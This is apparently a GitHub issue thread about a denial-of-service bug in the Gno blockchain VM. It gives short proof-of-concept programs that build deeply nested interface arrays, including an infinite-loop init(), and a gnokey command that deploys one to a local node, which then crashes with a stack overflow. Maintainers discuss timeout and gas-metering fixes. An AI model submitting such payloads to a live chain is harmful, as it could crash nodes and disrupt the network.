Denial of service when creating deeply nested structure

[thehowl]

All credit to @bbarwik, just re-creating the issue from the original at #2738 which jumbled together two different issues.

Crashing VM by creating very deep structure which is very CPU-intensive to process:

func init() {
    var x interface{}    
    for {
        x = [1]interface{}{x}    
   }
}

or alternatively:

package main
func main() {
    var x interface{}    
    for i := 0; i < 10000; i++ {
        x = [1]interface{}{x}    
    }
    for i := 0; i < 10000; i++ {
        println(x)   
    }
}

I used the following test to reproduce these issues: crash_test.go.zip. You should put it in gno.land/pkg/sdk/vm and run it there with go test -v -run TestVMCrash.

This can be replicated by doing a gnokey maketx run on a running node with either of the two files.

[odeke-em]

Just for context and comparison though, even Go runs out of memory running the same program https://go.dev/play/p/bfn4_KIapaK

...
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
(0x46cca0,0xc000121ac0)
timeout running program

Program exited.

[thehowl]

@odeke-em yeah, and that's expected on gno run, however the problem is that this happens also when submitting the file as a MsgRun transaction; ie. it is dangerous because it can directly affect the chain.

[kristovatlas]

package main

func main() {
	var x interface{}
	for i := 0; i < 10000; i++ {
		x = [1]interface{}{x}
	}
	for i := 0; i < 10000; i++ {
		println(x)
	}
}

% time ~/go/bin/gno run gno2738b.gno
 array[(array[(array[(array[(...
 ...snip...
~/go/bin/gno run gno2738b.gno  16311.54s user 2165.37s system 284% cpu 1:48:23.90 total

[thehowl]

@kristovatlas fair and thanks for posting, the problem is that this isn't stopped by gas limitations on-chain :)

[kristovatlas]

@thehowl 100%, just documenting for myself one of the outcomes when running the code. Except, on second review it was just the println that was causing it to be slooooow. The infinite loop version demonstrates the DoS better:

package gno2738b

func init() {
	var x interface{}
	for {
		x = [1]interface{}{x}
	}
}

func Init() {

}

Deploying this on my local environment does this:

% time ~/go/bin/gnokey maketx addpkg --pkgpath "gno.land/r/kristovatlas/gno2738b" --pkgdir . --gas-fee 10000000ugnot --gas-wanted 800000 --broadcast --chainid dev --remote localhost:26657 Dev
Enter password.
--= Error =--
Data: unable to call RPC method abci_query, unable to send request, Post "http://localhost:26657": context deadline exceeded
Msg Traces:
    0  /Users/redacted/Documents/GitHub/gno/tm2/pkg/crypto/keys/client/broadcast.go:139 - simulate tx
    1  /Users/redacted/Documents/GitHub/gno/tm2/pkg/crypto/keys/client/maketx.go:208 - broadcast tx
--= /Error =--

~/go/bin/gnokey maketx addpkg --pkgpath "gno.land/r/kristovatlas/gno2738b"    0.28s user 0.05s system 0% cpu 1:01.55 total

It only returned after crashing gnoland with this error:

runtime: goroutine stack exceeds 1000000000-byte limit
runtime: sp=0x1404b8e0360 stack=[0x1404b8e0000, 0x1406b8e0000]
fatal error: stack overflow

runtime stack:
runtime.throw({0x10533855b?, 0x1049cdf01?})
...snip...
goroutine 52 gp=0x140111c28c0 m=nil [select, 12 minutes]:
runtime.gopark(0x14005041fa8?, 0x2?, 0x80?, 0x41?, 0x14005041f94?)
	/opt/homebrew/Cellar/go/1.22.4/libexec/src/runtime/proc.go:402 +0xc8 fp=0x14005041e40 sp=0x14005041e20 pc=0x1049dac98
runtime.selectgo(0x14005041fa8, 0x14005041f90, 0x14005f635c0?, 0x0, 0x1400d917e00?, 0x1)
	/opt/homebrew/Cellar/go/1.22.4/libexec/src/runtime/select.go:327 +0x614 fp=0x14005041f50 sp=0x14005041e40 pc=0x1049ee0d4
os/signal.NotifyContext.func1()
	/opt/homebrew/Cellar/go/1.22.4/libexec/src/os/signal/signal.go:288 +0x68 fp=0x14005041fd0 sp=0x14005041f50 pc=0x104e2ce68
runtime.goexit({})
	/opt/homebrew/Cellar/go/1.22.4/libexec/src/runtime/asm_arm64.s:1222 +0x4 fp=0x14005041fd0 sp=0x14005041fd0 pc=0x104a14b24
created by os/signal.NotifyContext in goroutine 1
	/opt/homebrew/Cellar/go/1.22.4/libexec/src/os/signal/signal.go:287 +0x148

Again, just for my own reference.

[odeke-em]

So one way to combat this at the very beginning and to ensure that we can launch the mainnet is to use the idea that I proposed in #3427 and once we have a RunContext, we can have 2 options to ensure things come to an end:

1. Add some arbitrary max time limit then invoke m.SetRunContext(ctx_with_timeout_in_X_seconds)

2. Create a gas metered context that has CPU ticks and RAM constraints

3. Requires us to define how much gas will be consumed per CPU tick or operation, and can define a heuristic for each gas unit and have the gas meter context deduct for every single OP and whichever minimum we encounter terminates the program.